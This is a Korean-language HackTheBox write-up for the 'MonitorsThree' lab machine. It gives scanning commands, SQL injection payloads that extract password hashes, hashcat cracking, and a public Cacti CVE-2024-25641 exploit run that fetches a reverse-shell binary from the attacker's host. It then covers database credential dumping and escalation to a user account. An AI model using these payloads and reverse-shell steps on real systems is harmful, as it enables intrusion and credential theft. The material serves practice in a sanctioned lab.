본문 바로가기

Hacking/HackTheBox

MonitorsThree (Linux · Medium)

스캐닝

nmap --host-timeout 10m -sCV -p 80,8084,22 --min-rate=10000 10.129.147.146

ffuf -w /home/surckers/list/directory-list-2.3-big.txt -u http://monitorsthree.htb -H "Host: FUZZ.monitorsthree.htb" -fs 13560

 

취약점1 : SQLI

/forgat_password.php 에 싱글 퀘테이션 입력 시

username=sales'or+(SELECT+extractvalue(1,concat(0x3a,version())))--+

username=sales'or+(SELECT+extractvalue(1,concat(0x3a,(SELECT+substring(password,1,20)+from+users+limit+2,1))))--+

위와 같은 방식으로 hash 획득 가능

admin : 31a181c8372e3afc59dab863430610e8 (greencacti2001)

mwatson : 

janderson : 

dthompson : 

 

ckrack 

hashcat -a 0 -m0 <<hash>> rockyou.txt

 

취약점1 :CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

 

GitHub - thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26: CVE-2024-25641 - RCE Automated Exploit - Cacti 1.2.2

CVE-2024-25641 - RCE Automated Exploit - Cacti 1.2.26 - thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

github.com

 

cacti 의 패키지 업로드 기능을 활용하여, 악성 파일을 업로드하여 RCE를 실행하는 취약점이다.
Cacti는 네트워크 모니터링과 그래프 시각화에 사용되는 도구이다.
Cacti에서는 패키지 가져오기 기능을 통해 사용자 또는 관리자들이 템플릿 파일을 가져와 시스템에 적용할 수 있다.

 이취약점의 핵심은, 아래의 취약한 패키지를 업로드 하고, 호출한다는 것이다. 여기서 

 

필요한 요건 3가지

 - elf 파일 (msf 만든 리버스쉘 실행파일) 을 가져갈 웹서버 띄우기 (exploit 실행 동일 서버)

 - 리버스쉘 띄우기

 - cacti 인증 정보

python3 exploit.py -L 10.10.14.7 -lp 4444 -wp 80 -url http://cacti.monitorsthree.htb -u admin -p greencacti2001

 

whoami 가 웹서버 계정

그렇다면 var/www/html 내에 있는 db config 정보 찾아봄

그 전에 인터렉티브 쉘로 변경

python3 -c 'import pty; pty.spawn("/bin/bash")'

var/www/html/cacti/include/config.php

 

mysql -u cactiuser -p -h localhost -P 3306 cacti
show databases;
use cacti;
show tables;
select * from user_auth;

획득한 bcrypte crack!!

hashcat -m 3200 -a 0 <<hash>> rockyou.txt

 

su - marcus 로 로그인 하여 user 획득!

 

 

'Hacking > HackTheBox' 카테고리의 다른 글

aragog (Linux)  (1) 2024.11.04
Devel (win)  (1) 2024.10.23
secnotes (win)  (1) 2024.08.05
permx (Linux)  (2) 2024.07.23
Jeeves (win)  (1) 2024.07.02